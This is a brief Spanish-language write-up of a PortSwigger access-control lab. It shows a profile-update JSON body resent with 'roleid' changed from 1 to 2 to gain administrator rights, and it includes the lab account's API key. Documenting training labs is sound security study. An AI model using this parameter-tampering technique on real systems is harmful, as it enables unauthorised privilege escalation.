04 - User role can be modified in user profile

#accesscontrol #portswigger #writeup

Hacer un post para cambiar el email devuelve este json :

{
  "username": "wiener",
  "email": "test@test.com",
  "apikey": "YTbPNYphFRCkIjIAxAUcJlhXvOsdV0Cr",
  "roleid": 1
}

Enviamos este

{
  "username": "wiener",
  "email": "test@test.com",
  "apikey": "YTbPNYphFRCkIjIAxAUcJlhXvOsdV0Cr",
  "roleid": 2
}